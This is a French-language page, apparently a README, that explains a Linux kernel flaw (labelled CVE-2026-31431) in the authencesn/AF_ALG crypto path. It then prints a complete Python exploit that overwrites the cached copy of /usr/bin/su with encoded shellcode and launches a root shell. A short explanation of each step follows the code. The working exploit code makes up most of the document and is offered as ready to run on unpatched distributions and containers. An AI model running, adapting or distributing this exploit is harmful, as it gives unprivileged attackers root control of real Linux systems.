CopyFile_CVE-2026-31431

Erreur de copie (CVE-2026-31431) – Exploitation d'élévation de privilèges locale

Une erreur logique dans le modèle AEAD authencesn du noyau Linux permet à un utilisateur sans privilèges d'écrire 4 octets contrôlés dans le cache de pages de n'importe quel fichier lisible.

Le script Python fourni corrompt /usr/bin/su en mémoire et génère un shell root.

Présentation générale de la vulnérabilité

CVE-2026-31431 est une vulnérabilité dans le sous-système cryptographique du noyau Linux, plus précisément dans le modèle authencesn (AEAD avec numéro de séquence étendu) combiné à l'interface de socket AF_ALG et à l'appel système splice().

• Cause racine : La routine de déchiffrement authencesn utilise la liste de dispersion de destination comme espace temporaire, écrivant 4 octets au-delà de la zone de sortie légitime. Lorsque AF_ALG effectue une opération AEAD in situ et que splice() fournit des pages du cache de pages (p. ex., d'un binaire setuid) comme étiquette d'authentification, l'écriture hors limites atterrit directement dans la copie en cache du noyau de ce fichier.

• Effet : Un attaquant local sans privilèges peut écraser n'importe quel emplacement aligné sur 4 octets dans n'importe quel fichier qu'il peut lire. La corruption ne se produit que dans le cache de pages ; le fichier sur disque reste inchangé, contournant les vérifications d'intégrité des fichiers.

• Impact : En écrasant un binaire setuid (p. ex., /usr/bin/su) avec du shellcode, un attaquant peut exécuter le binaire et obtenir un shell root. La même primitive fonctionne dans différents conteneurs car le cache de pages est partagé avec l'hôte.

Code d'exploitation (exploi-copyfail.py)

L'exploit est un script Python unique de 732 octets qui utilise uniquement la bibliothèque standard (os, socket, zlib). Il fonctionne sur toute distribution Linux avec des versions du noyau de 2017 à 2026 (avant le correctif).

#!/usr/bin/env python3
import os as g, zlib, socket as s

def d(x): return bytes.fromhex(x)

def c(f, t, c):
    a = s.socket(38, 5, 0)
    a.bind(("aead", "authencesn(hmac(sha256),cbc(aes))"))
    h = 279
    v = a.setsockopt
    v(h, 1, d('0800010000000010' + '0' * 64))
    v(h, 5, None, 4)
    u, _ = a.accept()
    o = t + 4
    i = d('00')
    u.sendmsg([b"A" * 4 + c], [(h, 3, i * 4), (h, 2, b'\x10' + i * 19), (h, 4, b'\x08' + i * 3)], 32768)
    r, w = g.pipe()
    n = g.splice
    n(f, w, o, offset_src=0)
    n(r, u.fileno(), o)
    try: u.recv(8 + t)
    except: 0

f = g.open("/usr/bin/su", 0)
i = 0
e = zlib.decompress(d("78daab77f57163626464800126063b0610af82c101cc7760c0040e0c160c301d209a154d16999e07e5c1680601086578c0f0ff864c7e568f5e5b7e10f75b9675c44c7e56c3ff593611fcacfa499979fac5190c0c0c0032c310d3"))

while i < len(e):
    c(f, i, e[i:i + 4])
    i += 4

g.system("su")

Comment cela fonctionne

• Configuration : Un socket AF_ALG lié à authencesn(hmac(sha256),cbc(aes)) est ouvert, une clé factice est définie et une requête est acceptée.

• Charge utile : Le shellcode (décompressé depuis le blob hexadécimal) est divisé en fragments de 4 octets.

• Boucle de corruption : Pour chaque fragment :

  • sendmsg() fournit les Données Authentifiées Associées (AAD). Les octets 4 à 7 des AAD contiennent les 4 octets à écrire.

  • splice() insère une portion de /usr/bin/su (le binaire setuid cible) dans la liste de dispersion TX du socket. Le décalage et la longueur sont choisis de sorte que la région de l'étiquette d'authentification se situe à l'adresse cible dans la section .text du binaire.

  • recv() déclenche le déchiffrement des AEAD, authencesn écrit le fragment de 4 octets dans le cache de pages de /usr/bin/su. Le HMAC échoue, mais l'écriture persiste.

• Exécution : Une fois tous les fragments écrits, le script exécute su. Étant donné que la version mise en cache contient désormais du shellcode, su s'exécute avec les privilèges root et ouvre un shell.